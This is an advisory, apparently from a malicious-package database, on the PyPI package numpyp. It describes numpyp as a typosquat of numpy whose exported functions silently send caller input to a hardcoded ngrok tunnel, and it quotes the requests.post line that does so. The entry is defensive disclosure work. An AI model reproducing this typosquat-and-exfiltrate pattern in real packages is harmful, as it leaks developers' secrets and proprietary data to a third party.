MAL-2026-12503 Malicious code in numpyp (PyPI)
- Published
- Updated
- Exploit status
- No public exploit known
Description
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)
Package name numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.
Upgrade path
1 package: 0 fixed.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| pypi numpyp(PyPI) | = 0.7.7 | No fix listed | Versions listed |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| pypi numpyp(PyPI) | = 0.7.7 | No fix listed |
References
- pypi.org product